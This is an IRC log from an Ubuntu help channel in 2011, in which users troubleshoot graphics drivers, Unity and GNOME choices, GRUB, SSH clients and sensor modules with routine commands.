[20:47] <AMAG> I've been trying to get some help with my graphics driver on Ubuntu 11.04 for several days, but no luck so far.  In the "Additional Drivers" tool, my NVIDIA driver has the green dot, yet the tool says "This driver is activated but not currently in use."  Help please.
[20:47] <coun> @rhin0, if you want SSD, i think it best to use 10.10 or 11.04
[20:47] <IdleOne> koperino: lsb_release -a     what Version number does it report?
[20:47] <MnCC> phed, you there ?
[20:48] <phed> just trying beta version mate in flash aid
[20:48] <Brandano> Snakkah: you should look into either adding a PPA or enabling the backports repository
[20:48] <fcuk112> how to check currently installed mesa version?
[20:48] <coun> @Brandano, Unity is awesome. I was actually thinking of going back to Windows cause of sick of gnome2x. Unity is a huge improvement
[20:48] <coz_> Braiam,  well there is another distrobution in the works UGR  ubuntu gnome remix   using gnome3
[20:48] <MnCC> try this: env LD_PRELOAD=/usr/lib/libGL.so.1 firefox-4.0 %u
[20:48] <l403> AMAG, did you look at your xorg.conf?
[20:48] <jcapinc> ubuntu 11.04 broke my compiz support baddly
[20:48] <rhin0> ok coun ty.
[20:48] <Snakkah> Brandano, I have the backports repo enabled.
[20:48] <koperino> Distributor ID:	Ubuntu
[20:48] <koperino> Description:	Ubuntu 10.10
[20:48] <koperino> Release:	10.10
[20:48] <koperino> Codename:	maverick
[20:48] <phed> no go on the beta
[20:48] <FloodBot1> koperino: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[20:48] <jcapinc> should not have upgraded
[20:48] <phed> MnCC, anything else to try?
[20:48] <Snakkah> And a PPA seems to be hard to come by for this little program.
[20:48] <Braiam> coz_: what're you talking about?
[20:48] <rhin0> coun do you know where my kit of screwdrivers is?
[20:49] <koperino> ok
[20:49] <coz_> Braiam,   sorryy wrong nick
[20:49] <coun> @AMAG  I have had nothing but trouble with NVIDIA graphics when trying 11.04. I'm done with NVIDIA.
[20:49] <MnCC> phed, open the properties of the firefox icon
[20:49] <coz_> Brandano,   UGR   ubuntu -gnome-remix  is in the works
[20:49] <bars0> rhin0: you can install later kernel from standard Ubuntu repository: as far as I remember 2.6.35
[20:49] <Gremlyn1> multi-monitor question: I have my laptop (on 10.04) with an HDMI->DVI cable plugged in to a second monitor. I have the laptop as display0, I think, as it has the menu/task bars, but programs are opening by default in display1 (the larger, desktop monitor). Anyone know how to alter that behaviour?
[20:49] <AMAG> l403: No, but I just have looked.  I have a Section "Device" which says Driver "nvidia" and no other Device sections
[20:49] <kwtm> rhin0: I see  linux-headers-2.6.35-23  as a possible package on my 10.04 (which I haven't installed, but still, it's there)
[20:49] <MnCC> paste: env LD_PRELOAD=/usr/lib/libGL.so.1  in front of it
[20:49] <Brandano> coun: I don't use compiz because it's too fancy... I doubt I'd like Unity. On my netbook I switched back to UNR because it was making my life too difficult
[20:49] <AceKing> Jordan_U, This is what happens when I run that command. You'll see where it freezes up on me. http://paste.ubuntu.com/603443/
[20:49] <celthunder> coun: nvidia cards are still by far better supported than ati, just use the open source ones
[20:49] <rhin0> yes bars0 but I need to install it direct onto an ssd -- won't work with earlier kernel
[20:50] <rhin0> i'll just install 10.10
[20:50] <MnCC> open youtube and press fullscreen icon
[20:50] <AMAG> coun: nvidia cards have treated me better than others on Linux for more than 10 years.  I don't think you will be any happier with ATI.
[20:50] <x1o> hey, can anyone help me with my flash-buffering problem?
[20:50] <Snakkah> Brandano, it's not in the Lucid backports repo. :/
[20:50] <IdleOne> koperino: open Synaptic Package manager and go to Settings > Repositories, then click on the update tab, at the bottom make sure it is set to Normal Releases.
[20:50] <ablaze> tjiggi_fo: i will find the log and boot files in system folder of my live session's system file or it should be elsewhere ::: because i m not able to find this in my system except in live session's sytem files :::
[20:50] <l403> AMAG also check sudo lsmod that lists the loaded modules aka drivers
[20:50] <kwtm> rhin0: Disagree with coun: stay with 10.04 unless you need to.  (Whether you need to is up to you, but if linux 2.6.35 is there for 10.04, just stay with it)
[20:50] <Brandano> Snakkah: try grabbing the deb from Maverik, but expect possible problems. Try it in a chroot first, perhaps?
[20:51] <x1o> i wonder where it comes from, flash only buffers about 1 minute of streaming-videos
[20:51] <coun> @Brandano, I never used Compiz before because it was too fancy. You don't have to use cmopiz for Unity. Just install 11.04. and it works
[20:51] <rhin0> yes kwtm but how would I INSTALL 10.04 with a 2.6.35 -- can't INSTALL it with lower kernel & then upgrade
[20:51] <AMAG> lsmod |grep nvidia  does indeed show a module called "nvidia" that is loaded, and dmesg |grep -i taint shows me that loading this module taints the kernel
[20:51] <kwtm> rhin0: Okay.
[20:51] <Snakkah> Mmm...maybe. I'll let you know what happens. I expect dependency problems though,.
[20:51] <phed> paste env LD_PRELOAD=/usr/lib/libGL.so.1 into where, do you mean the firefox launcher properties?
[20:51] <ikonia> rhin0: you want to install ubuntu with a lower kernel than is provided ?
[20:51] <rhin0> kwtm 10.04 comes with the earlier kernel -- can't install it so then I can't upgrade
[20:52]  * Brandano is the odd sort of Ubuntu user that spends a lot of time on the command prompt
[20:52] <Jordan_U> AceKing: And you still see old history?
[20:52] <MnCC> phed, and ?
[20:52] <ikonia> rhin0: 10.04.2 has a later updates
[20:52] <l403> !sound > l403
[20:52] <ubottu> l403, please see my private message
[20:52] <coun> @celthunder: that's what I've herad, nvidia better supported. But they give me nothing but trouble with Unity. AMD/ATI radeon and Intel integrated give zero problems so far with Unity.
[20:52] <kwtm> Brandano: Does that count as odd?
[20:52] <Brandano> terminal window, if you like
[20:52] <koperino> did that, must say I was updating when internet fell away, since then problems
[20:52] <rhin0> no ikonia I'm saying its impossible to install 10.04 on an ssd because it ships with < 2.6.33 kernel -- you cannot get it onto the drive - coun is right
[20:52] <phed> lol sorry, ill re-phrase, do i just paste in front of the firefox command?
[20:52] <AceKing> Jordan_U, Yes, it's still shows
[20:52] <rhin0> what kernel is 10.04.2? pls?
[20:52]  * ikonia wishes brandon would be the odder person who doesn't use the /me command trying to be l33t with command line comments
[20:52] <MnCC> phed, yeah
[20:52] <tjiggi_fo> ablaze, if you go to Places, Computer you should find a "FileSystem" entry (NTFS) that includes your windows files
[20:52] <Brandano> kwtm: depends. You are not supposed to spend time tweaking the OS, should just work
[20:52] <Jordan_U> AceKing: Try "rm ~/.local/share/zeitgeist/activity.sqlite && mkdir ~/.local/share/zeitgeist/activity.sqlite".
[20:52] <ikonia> rhin0: I've got 8.04 working on an SSD drive here
[20:53] <Jordan_U> AceKing: Then log out and back in again.
[20:53] <rhin0> you'll have a > 2.6.33 kernel ikonia yes?
[20:53] <phed> WINNING
[20:53] <ikonia> no
[20:53] <maxb> Jordan_U: mkdir?
[20:53] <rhin0> its all for "trim"
[20:53] <phed> +10 internets to MnCC
[20:53] <phed> thanks very much dude
[20:53] <kwtm> Brandano: ?? I spend a lot of time on the command line, but I don't tweak the OS.  You mean, then, that you'd expect the command line to be for tweaking the OS?  I see.  I just use vim and ssh a lot.
[20:53] <AceKing> Jordan_U, Ok, I'll come back and let you know. Thank you
[20:53] <ikonia> rhin0: ahhh you want the trim options, ok
[20:53] <MnCC> phed, nice
[20:53] <ikonia> kwtm: ignore it, he's trying to make it sound like he's hard core
[20:53] <IdleOne> koperino: sudo apt-get -f install
[20:53] <Jordan_U> maxb: If there's a directory there then zeitgeist can't write it's database there. It's a bit ugly but...
[20:53] <Brandano> kwtm: nah, in my case is to install and compile stuff, mainly
[20:54] <AMAG> l403: so it is certainly loaded into the kernel, but it appears X is not using it?
[20:54] <coun> @celthunder: how exactly do I install the open source NVIDIA drivers? be great to get unity working on my nvidia machines
[20:54] <IdleOne> koperino: please prefix any response to me with my name, as you can see this channel is very busy and hard to keep up at times :)
[20:54] <xro> will ubuntu stop using gnome? should i use KDE instead???
[20:54] <phibxr> coun, why don't you use the binary drivers?
[20:54] <Brandano> kwtm: I got used to PuTTY for SSH on Window. I really ought to use the SSH client from the command line, but it's hard to shake ingrained habits
[20:54] <kwtm> Brandano: Installing stuff is tweaking the OS?  Compiling stuff is tweaking the OS?  Wait ... um.... actually, never mind.  My, what lovely weather we're having!
[20:55] <coun> rhin0, i think you best to use 1010 or 1104 to avoid trouble
[20:55] <Brandano> kwtm: no, neither is, but Ubuntu is not the frieldliest environment to work with non-standard libs
[20:55] <rhin0> willdo coun
[20:55] <koperino> Idle0ne : sorry first time here never had problems with ubuntu . Nothing happens tried that before
[20:55] <Brandano> *friendliest
[20:55] <celthunder> coun: uninstall and modprobe -r the proprietary ones and install the open source ones and modprobe them up
[20:55] <l403> AMAG, can you run sudo nvidia-xconfig ?
[20:56] <IdleOne> koperino: hmm, not getting any errors?
[20:56] <coun> @rhin0: 10.04 kernel does NOT have TRIM
[20:56] <oddchild> My ubuntu server keeps shutting down at 1AM every night. I cannot find out what started this or how to stop it. When I do a abort on the shutdown it doesnt see any
[20:56] <kwtm> Brandano: ? I use PuTTY, too, when I have to use Windows.  Not sure what's different between the two except I can't script the Windows version.  I haven't felt that Ubuntu does not have a friendly environment, but then I don't work a lot with their libraries.
[20:56] <coun> @phibxr: you mean NVIDIA? what binary drivers?
[20:57] <AceKing> Jordan_U, I'm still seeing recent documents. When I ran the command you gave me in Terminal, it came right back to the prompt. Was I supposed to see it running like the other one that was hanging up?
[20:57] <meraqlix> back
[20:57] <Jordan_U> AceKing: No.
[20:57] <meraqlix> sorry did a restart
[20:57] <phibxr> coun, the nvidia closed-source binary drivers. actually, they installed on first boot for me.
[20:57] <phed> putty is nice but try mremote on windows
[20:57] <phed> its awesome
[20:57] <Jordan_U> AceKing: Did you log out and back in again?
[20:57] <koperino> Idle0ne : no just  0 packets,  install, 0 packets removed,......
[20:57] <meraqlix> what did I miss about the missing GUI
[20:57] <AceKing> Jordan_U, Yes
[20:57] <edbian> koperino: packages, not packets
[20:57] <Snakkah> Brandano, just installed pianobar along with its dependencies (it had two dependencies that installed without a hitch). :D
[20:57] <Ap0c4lyptic0> hi all
[20:57] <Brandano> kwtm: not much difference. Putty allows you to store session parameters, and shows a black terminal background
[20:58] <AceKing> Jordan_U, I didn't have to completely restart right?
[20:58] <koperino> edbian . sorry dutch version
[20:58] <Brandano> Snakkah: in a chroot?
[20:58] <IdleOne> koperino: ok sudo apt-get update && sudo apt-get upgrade && sudo do-release-upgrade
[20:58] <Ap0c4lyptic0> i have a little problem with virtual box can i type here?
[20:58] <vuxor> ello
[20:58] <edbian> koperino: no worries
[20:58] <kwtm> phed: In what way is it better than putty?  I just started at a new work environment and all they run is Windows.  I just went with PuTTy which was easy to find through the corporate firewall and install onto some directory.
[20:58] <Jordan_U> AceKing: Shouldn't have to.
[20:58] <Gremlyn1> sorry to repeat, but I didn't see an answer: I have my laptop (on 10.04) with an HDMI->DVI cable plugged in to a second monitor. I have the laptop as display0, I think, as it has the menu/task bars, but programs are opening only in display1 (the larger, desktop monitor). Anyone know how to alter that behaviour?
[20:58] <coun> @celthunder: I already uninstalled the proprietary because they were crap. When I do this, graphics just work. So whatever default driver Ubuntu is using is working. BUT it won't do Unity 3D even though my graphics card supports 3D with the proprietary NVIDIA driver
[20:58] <Snakkah> Brandano, no. Do I need to chroot?
[20:58] <Jordan_U> AceKing: What is the output of "ls -ld ~/.local/share/zeitgeist/activity.sqlite"?
[20:58] <phed> more complete it allows for rdp, ssh, vnc, rdp
[20:58] <phed> oops
[20:58] <phed> rlogin
[20:58] <ardchoille> !bugs > ardchoille
[20:58] <ubottu> ardchoille, please see my private message
[20:59] <Brandano> So, any idea why the landscape data in MOTD is written twice, witht he second set being a stale copy?
[20:59] <phibxr> Gremlyn1, under screen settings you should be able to drag your primary monitor to the left, or select it.
[20:59] <Jasonn> !bugs > Jasonn
[20:59] <ubottu> Jasonn, please see my private message
[20:59] <l403> what is in charge of playing ubuntu sound themes? where can I disable the themes or kill whatever is playing them?
[20:59] <phibxr> Gremlyn1, <super>, monitor
[20:59] <phed> and other things, the interface is much nicer plus you can have multiple sessions in one window
[20:59] <MnCC> where does unity store my favorite apps ?
[20:59] <Brandano> Snakkah: no, you don't. It was just a safety in case it tried to replace stuff it ought not to
[20:59] <kwtm> Brandano: ?  Not sure what you mean.  You mean you can just invoke it with "ssh" instead of "ssh myserver.mydomain.com -p <portnum> -l <login> -v"?  Black terminal background just depends on your terminal, I guess --I always had a black terminal background, wasn't aware that it didn't come that way in Ubuntu.  Must've set it way back when I was using 6.06.
[20:59] <AMAG> l403: that has added numerous blocks to my xorg.conf file, but restarting the PC still didn't get it to actually use the driver.  The "Additional Drivers" tool still says the same thing
[20:59] <Snakkah> Brandano: Regardless, I have a new problem. pianobar isn't doing its normal action. It normally asks for your username (your Pandora email) and password. I put those in and it says "Error: Protocol incompatible. Please upgrade libpiano."
[20:59] <coun> @phibxr: so the default ones are the open source ones? These won't do Unity 3D. Although the proprietary one do do 3D when I'm using Windows XP
[21:00] <AceKing> Jordan_U, http://paste.ubuntu.com/603445/
[21:00] <phibxr> coun, I got the closed-source ones by default. the proprietary that is.
[21:00] <ardchoille> Is there aknown issue with the disappearing scrollbar not working in gimp's toolbox window (Ubuntu 11.04)?
[21:00] <DarsVaeda> how do i revert back to unity after installing gnome3?
[21:00] <phibxr> coun, can you run nvidia-settings?
[21:00] <IdleOne> DarsVaeda: fresh install
[21:00] <phibxr> coun, if you can, you're running the closed-source binary drivers.
[21:00] <kwtm> phed: Oh, I found your message!  Please prefix my nick when you talk to me, or else I'll think it's someone else talking to someone else.  Ok, will check out mremote but since I just need a text interface, and I've already got PuTTy installed at work, I'll just stick with it.
[21:00] <DarsVaeda> i do not want to fresh install -.-
[21:00] <xro> will ubuntu stop using gnome? should i use KDE instead??? can i have a response?
[21:00] <coun> @1403: you can just disable sound. That is, system related sounds. You will still hear music etc if you play it
[21:00] <DarsVaeda> there must be a different solution
[21:00] <IdleOne> DarsVaeda: gnome3 right now breaks Unity.
[21:00] <Brandano> kwtm: no, I mean that putty is a graphical app. but you know it since you used it. You can install it in Ubuntu as well. Does not have any great advantages over the standard SSH client, except the user interface simplifies a few things
[21:00] <Jordan_U> AceKing: I am completely confused then.
[21:01] <kwtm> phed: Does it have a vnc client?  Or just allows tunnelling by a vnc client which I have to install myself.
[21:01] <Gremlyn1> phibxr: you mean under Preferences > Monitors? I don't see an option for specifying default/primary
[21:01] <l403> AMAG, aslo check nvidia-settings
[21:01] <Jordan_U> xro: Ubuntu will not stop using GNOME.
[21:01] <AceKing> Jordan_U, does it look like something is missing?
[21:01] <IdleOne> DarsVaeda: solution is a clean install so everything is setup properly.
[21:01] <botcity> AceKing, are you sure your seeing recent doc and not downloads and favourites ?
[21:01] <kwtm> Brandano: Wait, 1) PuTTy is available for Linux?  and 2) someone actually finds it useful?
[21:01] <kwtm> Brandano: I wasn't aware of that.
[21:01] <Brandano> kwtm: like storing the configuration for often used connections. You can of course just write a small shell script for that sort of stuff
[21:01] <antonio__>  hola buenas tarde me pueden ayudar con airmon-ng cuando trato de ponerlo modo monitor con el siguienete cocando airmon-ng start wlan1 me sale este error
[21:01] <antonio__>  @antonio:/home/antonio# airmon-ng start wlan1
[21:01] <antonio__>   Found 4 processes that could cause trouble.
[21:01] <antonio__>   If airodump-ng, aireplay-ng or airtun-ng stops working after
[21:01] <antonio__>   a short period of time, you may want to kill (some of) them!
[21:01] <FloodBot1> antonio__: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[21:01] <coun> @phibxr: no can't run nvidia settings since unisntalling proprietary. I can use the "Monitors" to set up res etc with the default Ubuntu drivers
[21:01] <Slackman> hey guys
[21:01] <antonio__>   PID Name
[21:02] <l403> coun, which slider is that in alsamixer?
[21:02] <edbian> Slackman: hello
[21:02] <Jordan_U> xro: GNOME Shell will not be used by default in future versions of Ubuntu, but GNOME is a lot more than just the shell.
[21:02] <kwtm> Brandano: Wow, you're right, putty is available! :)  Whaddaya know.
[21:02] <phed> kwtm, im not sure i still use tightvnc if i am honest, the best part for me is the multiple sessions, but i do think the vnc client is built-in
[21:02] <xro> Jordan_U, so all version will come with ubiquity but it will always possible to change t to gnome with all support?
[21:02] <Slackman> trying to install ubuntu on the new macbook pro 2011 15" but get the following message on cd boot - "unable to find a medium containing a live file system"
[21:02] <Brandano> well, I use it :)
[21:02] <LjL> !es | antonio__
[21:02] <ubottu> antonio__: En la mayoría de canales de Ubuntu se habla sólo en inglés. Si busca ayuda en español o charlar entra en el canal #ubuntu-es. Escribe "/join #ubuntu-es" (sin comillas) y dale a enter.
[21:02] <phibxr> coun, after a couple of beers, I actually can't remember your issue anymore. so let's hope someone else can help you. :)
[21:02] <Jordan_U> xro: As far as I can tell, yes.
[21:02] <Xylch> I have a dual monitor setup on unity, and I am having a bug where indicators on my main panel slide to the right, completely off the screen. I can still see them on my secondary monitor, does anyone know the cause/fix to this issue? I can't seem to find anything about it searching google.
[21:02] <Brandano> downside, it uses its own format for keys
[21:02] <Wolf_22> Is xorg.conf in Natty? I can't find it and I need to look at it to see if my VM install has USA as it's default keyboard layout (because every time I reboot, I keep having to reset it to USA).
[21:02] <l403> antonio__, #aircrack-ng
[21:02] <fcuk112> looking at my xorg log it seems to be using the i965 driver instead of i915?  any ideas?
[21:02] <CQ> anyone know how to get the sbs module loaded for lm-sensors, or what it is exactly? I have the same problem as http://ubuntuforums.org/showthread.php?t=1537746
[21:02] <Brandano> but on the plus side on Ubuntu it makes use of the OS keyring
[21:03] <AceKing> botcity, I am seeing Recent Documents under "Places"
[21:03] <coun> @1403: go to settings, look for sound. There is a setting to disable sound (ie system sounds). Then when you login for example no sound will be played
[21:03] <kwtm> Brandano: I don't want to use a GUI because then I can't ssh in to a computer and then use PuTTy.  (From outside of home I ssh into a gateway computer and then ssh from there into another computer.)
[21:03] <filosofixit> My friend tried to uninstall the binary nvidia driver using hardware drivers, but now he is unable to log in due to blank screen... I have ssh access to his box but am not able to restore to binary nvidia drivers.. have installed the nvidia-current package and runned : " sudo dpkg-reconfigure -phigh xserver-xorg " but still no luck
[21:03] <Slackman> the cd seems fine on different computers is there a way to fix that
[21:03] <xro> Jordan_U, ok.. and what are the difference between the new shell and gnome shell?
[21:03] <filosofixit> xorg.conf shows "nvidia" as the driver enabled... should it be " nv " ?
[21:03] <koperino> Idle0ne :I think it started at least I see a lot of commands with natty-updates in it
[21:03] <l403> coun, the sound theme is disabled in gnome settings but fluxbox doesnt respect those
[21:03] <Brandano> kwtm: just tunnel the SSH port, I imagine
[21:03] <kwtm> phed: Ok.  Will keep that in mind!  I use screen so I don't use the multiple sessions that much.  Main criteria I use for WIndows is: how easily can I find, download, and install it in a restrictive corporate environment? :)
[21:03] <edbian> CQ: sudo modprobe sbs
[21:04] <coun> @phibxr. hehe. lol. Can't get Unity to work 3D with the default graphics driver. But graphics card works 3D with proprietary driver on Windows XP
[21:04] <hittt> what does frameworkd do?
[21:04] <IdleOne> koperino: ok good, let it do its thing and hope it doesn't get interrupted again :)
[21:04] <edbian> CQ: injects modules into the kernel.  Think of it as 'turning a drive ron'
[21:04] <SnookiNeedsJC> i've had real slow transfers from Ubuntu 9-10 to flash drives. any ideas to fix?
[21:04] <kwtm> Brandano: Right, but do you know how much bandwidth that takes up? :?
[21:04] <koperino> Thanxs
[21:04] <phibxr> coun, ah, yes, right. why don't you use the proprietary drivers? the noveau drivers aren't that good yet.
[21:04] <IdleOne> koperino: welcome
[21:04] <Brandano> kwtm: same as that double SSH conn you use. Uses up a little more processor, perhaps
[21:05] <CQ> edbian: doesn't do anthing, modprobe -l doesnt show it, locate doesn't show it...
[21:05] <coun> @filosofixit, have friends try running the LIVE CD and see if he can fix it up that way
[21:05] <Slackman> any one can help? advise? - trying to install ubuntu on the new macbook pro 2011 15" but get the following message on cd boot - "unable to find a medium containing a live file system"
[21:05] <MnCC> its driving me nuts ...where are the launcher shortcuts stored ?
[21:05] <jgould> Slackman: I havnen't seen that one yet...
[21:05] <Jordan_U> xro: Best way to find out is probably to try both. You can try GNOME shell from a fedora 15 beta liveCD and Unity from Ubuntu 11.04.
[21:05] <phibxr> coun, press <super> (Windows-key) and type driver, press enter. should present you with Additional drivers, where you can activate the proprietary drivers.
[21:05] <filosofixit> coun : he does not have a clue how to do  that :)
[21:05] <edbian> CQ: If it returns without giving an error that means it was inserted successfully.  Try running sudo sensors-detect
[21:05] <phed> kwtm: well I also work in a restrictive corporate environment, only place I use Windows, and had no problems, so I am pretty sure you will be fine :)
[21:05] <kwtm> Brandano: Oh, I see.  I thought you meant tunnel VNC through the SSH port so I can use putty on the remote computer.  No, the gateway computer has scripts for me to ssh into the satellite computers, so I just leave it.  It's a lot handier running the gateway computer than the client computer at work anyway, since the gateway is set up the way I like.
[21:06] <jgould> Slackman: I've been having issues with the kernel on my 2011 13" MacBook Pro
[21:06] <kwtm> phed: Sounds good.  WIll check it out.  Thanks for the tip!
[21:06] <CQ> edbian: but modprobe -l should show it, shouldn't it??
[21:06] <edbian> CQ: Yeah it should.  Try lsmod | grep sbs
[21:06] <tbrew13> I cant make compiz effects work in ubuntu 11.04
[21:06] <coun> @phibxr, well I tried the proprietary on Ubuntu. Problem I had, it would never remember settings after reboot :)  So for example every reboot my res would return to 800x600 or something.
[21:06] <Brandano> hmm, i use VNC tunneled over SSH, but only for Windows machines. And even then probably I ought to use therminal server
[21:06] <CQ> edbian: nope, shows nothing
[21:06] <xro> Jordan_U, unity don't have a "work bar" on the bottom on the screen... not usable for me!
[21:06] <sary> Salutation.
[21:06] <edbian> CQ: strange.
[21:06] <phibxr> coun, that's one strange bug. what card are you using?
[21:07] <filosofixit> what is the correct driver name in xorg.conf for the binary nvidia driver?  "nvidia" or "nv" ?
[21:07] <SnookiNeedsJC> need ideas - when I copy files using u 9 or 10 to flash drive it takes forever. any way to speed this up?
[21:07] <edbian> CQ: Does sudo sensors-detect work any differently?
[21:07] <AMAG> l403: nvidia-settings detects the display and graphics card, and I did a "save" from this program which did modify xorg.conf again, and rebooted again, yet the driver is still not being used.
[21:07] <coun> @phibxr, yes this is what I did but none of them worked to do 3D with unity
[21:07] <phibxr> coun, i'm using some obsure intel/nvidia integrated card in my laptop, so most cards should work as well or better. :P
[21:07] <edbian> CQ: What is the ultimate goal here?
[21:07] <CQ> edbian: get gkrellm to show all the sensors that are in the computer ...
[21:08] <TheRedOctober> while userHold.setup:
[21:08] <coun> NVIDIA Geforce 3 from 2001 :0
[21:08] <sary> has anyone faced this issue lately ,http://paste.ubuntu.com/603447/
[21:08] <l403> AMAG, I dunno then. reinstall the nvidia package? :-/
[21:08] <kwtm> phed: Waitaminnit!  It's cheating!  When I use mRemote, one of the prerequisites (besides needing to install Microsoft .NET Framework 2.0 on my work computer) is PuTTy!   So why wouldn't I just use PuTTy?
[21:08] <TheRedOctober> (oops)
[21:08] <edbian> CQ: Ignoring this sbs error what functionality are you getting out of gkrellm ?
[21:08] <botcity> AceKing,  sorry maybe the update they mentioned about clearing history will help . when that comes out!
[21:08] <tbrew13> someone help ubuntu 11.04 is very choppy can i have some help fixing this
[21:08] <edbian> tbrew13: Graphics card?
[21:09] <AMAG> l403: the nvidia-current one?
[21:09] <kwtm> phed: I was all set to say, "This is great!  It can do SCP as well, and PuTTy can't, meaning I have to install WinSCP also."
[21:09] <CQ> edbian: shows quite a few sensors that the sensors command shows as well
[21:09] <phibxr> coun, have you tried "sudo apt-get install nvidia-current"?
[21:09] <AceKing> botcity, Ok, thank you for your help!
[21:09] <Jordan_U> xro: Have you tried finding a new workflow? Try double clicking on the icon of the app you want to switch to to see all its windows in exposé.
[21:09] <l403> AMAG, Id do all of them that you have installed and have the word nvidia in them :)
[21:09] <phed> kwtm, as said i use it mainly for multiple sessions and the tidyness of the desktop
[21:09] <coun> Ivy Bridge graphics supposed to make gains over current Sandy Bridge. Hopefully this whole proprietary drive things will be a thing of past
[21:09] <edbian> CQ: I'm not sure what sbs does.  What the error pertains to.  Perhaps it makes no difference having it installed or not.  I can't offer any more advice :(
[21:09] <guntbert> sary:  Please give at least an overview of your problem *here* (all in one line) - you will get a much greater audience.
[21:10] <phed> kwtm, its a connection manager for putty etc
[21:10] <edbian> CQ: In short, if I were you I'd be in here asking people :P
[21:10] <coun> @phibxr, no. I'll give this a go tonight. Thanks for tip
[21:10] <kwtm> phed: Okay.  Anyway, thanks for letting me know about it.
[21:10] <CQ> edbian: ok, thanks all the same... there's no answer in #linux-sensors which is the lm-sensors channel here
[21:10] <tbrew13> edbian, ati
[21:10] <edbian> CQ: Most channels are not as active as this one.  wait a while
[21:10] <phed> kwtm, no trouble lol i should have mentioned that
[21:10] <phibxr> coun, installs the latest proprietary nvidia-drivers for your card.
[21:10] <edbian> tbrew13: Which driver are you using according to sudo lspci -k  ?
[21:10] <coun> @phibxr, but wouldn't update manager install any updated drivers?
[21:10] <filosofixit> Does anyone have a clue how to restore a box from nouvue-drivers to nvidia-binary  throuh ssh?
[21:11] <phibxr> coun, yep. but you never know.
[21:11] <jamesstanley> I have just got a new hard disk. I moved everything using LVM to the new one with LVM, and /boot I copied manually. Now, the new /boot has a different UUID to the old one. No problem, when I booted I just typed the new one in to grub and booted fine. However, when I run "sudo update-grub" I am told "/usr/sbin/grub-probe: error: Couldn't find PV pv0. Check your device.map."
[21:11] <jamesstanley> Where is device.map and how can I check it?
[21:11] <coun> @edbian, this channel is goin nuts! lol
[21:11] <jamesstanley> None of my PV's have ever been called pv0
[21:11] <edbian> filosofixit: sudo apt-get purge <package for nouveau>  and then, sudo apt-get install <binary-package>
[21:11] <Jordan_U> jamesstanley: device.map is a red harring in this case.
[21:11] <edbian> coun: tell me about it
[21:11] <coun> @phibxr, i def try tonight. thx :)
[21:11] <daktari> hi, does anybody know a way of making mutter and fglrx work together :(
[21:12] <tbrew13>  VGA compatible controller: ATI Technologies Inc RS780M/RS780MN [Radeon HD 3200 Graphics]
[21:12] <tbrew13> 	Subsystem: Acer Incorporated [ALI] Device 028d
[21:12] <tbrew13> 	Kernel driver in use: fglrx_pci
[21:12] <tbrew13> 	Kernel modules: fglrx, radeon
[21:12] <phibxr> coun, you're most welcome.
[21:12] <FloodBot1> tbrew13: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[21:12] <jamesstanley> Jordan_U: ok, what should I do instead?
[21:12] <edbian> filosofixit: http://packages.ubuntu.com/search?keywords=nvidia&searchon=names&suite=natty&section=all
[21:12] <coun> @phibxr, Thunderbird released security update last thrusday. I still haven't received an update. Makes me wonder if I can rely on updates sometimes.
[21:12] <jamesstanley> Jordan_U: i could manually fix /boot/grub/grub.cfg but there must be a better way
[21:12] <Jordan_U> jamesstanley: What version of Ubuntu?
[21:12] <edbian> tbrew13: Please don't paste to the channel
[21:12] <jamesstanley> 11.04
[21:12] <filosofixit> edbian : thanx man, will check it out
[21:12] <edbian> filosofixit: sure
[21:12] <jamesstanley> Jordan_U: i upgraded from 10.10 to 11.04 recently
[21:13] <edbian> tbrew13: Do you understand that output?
[21:13] <xro> Jordan_U, i dislike it...  i want to use ubuntu to work... not for a multimedia table... I think a good point for ubuntu was gnome (simple and performant)...
[21:13] <jamesstanley> Jordan_U: but unrelated to the hard disk upgrade and everything worked fine before the hard disk changed
[21:13] <Jordan_U> jamesstanley: How are you booted currently?
[21:13] <SnookiNeedsJC> slow flash drive copy has no current fix per http://ubuntuforums.org/showthread.php?t=1487590
[21:13] <Jordan_U> !classic | xro
[21:13] <ubottu> xro: The default interface in Ubuntu 11.04 is !Unity. You can switch back to regular !Gnome by logging out and clicking on your user name, in the Session box at the bottom of the screen select Ubuntu Classic.
[21:13] <jamesstanley> Jordan_U: i am currently in the 11.04 kernel and i did it by pressing 'e' at grub and fixing the uuid manually
[21:13] <phibxr> coun, no idea if it has been added to the ubuntu repositories yet. i use gmail through the browser. :)
[21:13] <sary> guntbert ;) , it's simple / i'm unable to post in-to forums ! thats about it.
[21:13] <Brandano> Hmm, I think I ought to check back once the 11.04, err, backlash has died down a bit. It's a minor annoyance anyway
[21:13] <yehudah_> hello
[21:13] <filosofixit> edbian : nvidia-current should be the right driver for me right?
[21:14] <Jordan_U> xro: You might also like XFCE in the long run as they (at least for the moment) aren't planning any major overhauls.
[21:14] <coun> @phibxr, ah, I worry about Google knowing everything about me. I wish I could sell my own info to make money. Instead everyone else sells me and makes profit oOOo
[21:14] <edbian> filosofixit: I think so?  It's going to be a bit of trial and error I'm afraid
[21:14] <Brandano> Jordan_U: I bet they will just update it to the point you won't be able to tell it apart from Gnome 2
[21:15] <xro> Jordan_U, yes.. but if the default is unity... the future development will be done for unity...  i'm afraid to see incompatibilities for gnome
[21:15] <sary> guntbert I appreciate your concern.;/
[21:15] <phibxr> coun, I've stopped worrying about google, since I've already disclosed anything useful you could ever know about me to them. but I think that discussion is more appropriate for #ubuntu-offtopic, before someone redirects it there. :P
[21:15] <billsmith> Does anyone know if changes were made to the 11.4 release just before the announcement?  I have a pre-release version that has problems with intel video.
[21:15] <filosofixit> edbian : I will try and fail until I get it right ;) thx again
[21:15] <tbrew13> edbian, sorry xchat does not show me when someone address me anymore about the output kind of but not really
[21:15] <edbian> filosofixit: good luck!
[21:16] <phibxr> billsmith, running at update should put you at the current release.
[21:16] <AMAG> l403: Well, removing nvidia-current and rebooting has affected something.  Now the display appears broken and gdm cannot start, but the machine isn't locked up, just the display.  So I guess I'll straighten that out and try installing nvidia-current again.
[21:16] <edbian> tbrew13: No worries, you're using the fglrx driver which is proprietary.  Have you tried using the radeon driver?
[21:16] <tbrew13> edbian, and its only a little choppy
[21:16] <phibxr> billsmith, *an
[21:16] <guntbert> sary: sorry, no idea here - do you say you cannot post to any forums using any browser? but everything else on the web works just fine?
[21:16] <billsmith> The screen is so broken that I can't get to a terminal.
[21:16] <jibadeeha> tbrew13, i wish unity would flash the icon or something when somebody messages me rather than shake it for a short duration that i might miss
[21:17] <l403> AMAG, boot insto single user mode, install them via apt or aptitude and then just run /etc/init.d/gdm start
